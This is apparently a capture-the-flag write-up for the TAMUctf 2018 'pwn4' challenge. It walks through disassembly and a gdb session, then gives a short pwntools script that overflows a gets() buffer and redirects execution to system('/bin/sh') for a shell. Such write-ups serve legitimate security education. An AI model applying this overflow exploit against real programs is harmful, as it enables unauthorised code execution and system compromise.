Rating:

Huh, everybody here is writting about return to libc, I got away without (although it may have not been simpler).

We are given a binary with noexec stack and a buffer overflow (`gets`). `main` just runs `reduced_shell`, which in turn recognizes four commands - `ls`, `cal`, `pwd` and `whiami`. Some part of it:

```
080485ef <reduced_shell>:
80485ef: 55 push ebp
80485f0: 89 e5 mov ebp,esp
80485f2: 83 ec 28 sub esp,0x28
80485f5: 83 ec 0c sub esp,0xc
80485f8: 68 42 88 04 08 push 0x8048842
80485fd: e8 1e fe ff ff call 8048420 <puts@plt>
8048602: 83 c4 10 add esp,0x10
8048605: 83 ec 0c sub esp,0xc
8048608: 68 5e 88 04 08 push 0x804885e
804860d: e8 0e fe ff ff call 8048420 <puts@plt>
8048612: 83 c4 10 add esp,0x10
8048615: 83 ec 0c sub esp,0xc
8048618: 68 70 88 04 08 push 0x8048870
804861d: e8 fe fd ff ff call 8048420 <puts@plt>
8048622: 83 c4 10 add esp,0x10
8048625: 83 ec 0c sub esp,0xc
8048628: 68 96 88 04 08 push 0x8048896
804862d: e8 ce fd ff ff call 8048400 <printf@plt>
8048632: 83 c4 10 add esp,0x10
8048635: 83 ec 0c sub esp,0xc
8048638: 8d 45 e4 lea eax,[ebp-0x1c]
804863b: 50 push eax
804863c: e8 cf fd ff ff call 8048410 <gets@plt>
8048641: 83 c4 10 add esp,0x10
8048644: 83 ec 08 sub esp,0x8
8048647: 68 30 88 04 08 push 0x8048830
804864c: 8d 45 e4 lea eax,[ebp-0x1c]
804864f: 50 push eax
```

Look at this line:

```
lea eax,[ebp-0x1c]
```

This means, that we need to write `0x1c + 4` bytes (4 for the stack frame), then overwrite return address of `reduced_shell`. Let's take a look at `ls` function:

```
0804858b <ls>:
804858b: 55 push ebp
804858c: 89 e5 mov ebp,esp
804858e: 83 ec 08 sub esp,0x8
8048591: 83 ec 0c sub esp,0xc
8048594: 68 30 88 04 08 push 0x8048830
8048599: e8 92 fe ff ff call 8048430 <system@plt>
804859e: 83 c4 10 add esp,0x10
80485a1: 90 nop
80485a2: c9 leave
80485a3: c3 ret
```

If we could create a string containing `/bin/sh`, push its address on stack and then jump to `0x8048599`, we'd get a shell. Since `ebp` is variable, we can't write this string to buffer. Somehow, after running strings on the binary, we find a `/bin/sh` string, how cute. Now we need to get the address:

```
$ gdb-peda ./pwn4
Reading symbols from ./pwn4...(no debugging symbols found)...done.
gdb-peda$ b main
Breakpoint 1 at 0x8048791
gdb-peda$ r
gdb-peda$ info proc map
process 6409
Mapped address spaces:

Start Addr End Addr Size Offset objfile
0x8048000 0x8049000 0x1000 0x0 /home/enedil/tamuctf2018/pwn4
0x8049000 0x804a000 0x1000 0x0 /home/enedil/tamuctf2018/pwn4
0x804a000 0x804b000 0x1000 0x1000 /home/enedil/tamuctf2018/pwn4
0xf7ddb000 0xf7f94000 0x1b9000 0x0 /usr/lib/libc-2.26.so
0xf7f94000 0xf7f95000 0x1000 0x1b9000 /usr/lib/libc-2.26.so
0xf7f95000 0xf7f97000 0x2000 0x1b9000 /usr/lib/libc-2.26.so
0xf7f97000 0xf7f98000 0x1000 0x1bb000 /usr/lib/libc-2.26.so
0xf7f98000 0xf7f9d000 0x5000 0x0
0xf7fcf000 0xf7fd2000 0x3000 0x0 [vvar]
0xf7fd2000 0xf7fd4000 0x2000 0x0 [vdso]
0xf7fd4000 0xf7ffc000 0x28000 0x0 /usr/lib/ld-2.26.so
0xf7ffc000 0xf7ffd000 0x1000 0x27000 /usr/lib/ld-2.26.so
0xf7ffd000 0xf7ffe000 0x1000 0x28000 /usr/lib/ld-2.26.so
0xfffdd000 0xffffe000 0x21000 0x0 [stack]
gdb-peda$ find "/bin/sh" 0x8048000 0x804b000
Searching for '/bin/sh' in range: 0x8048000 - 0x804b000
Found 1 results, display max 1 items:
pwn4 : 0x804a038 ("/bin/sh")
```

Here it is!

Final exploit:

```
#!/usr/bin/env python3
import pwn

p = pwn.process('./pwn4')

buffer_len = 0x1c + 4
ls_addr = 0x8048599
bin_sh_addr = 0x804a038

p.send(b'a' * buffer_len)
p.send(ls_addr.to_bytes(4, 'little'))
p.send(bin_sh_addr.to_bytes(4, 'little'))
p.send(b'\n')
p.interactive()
```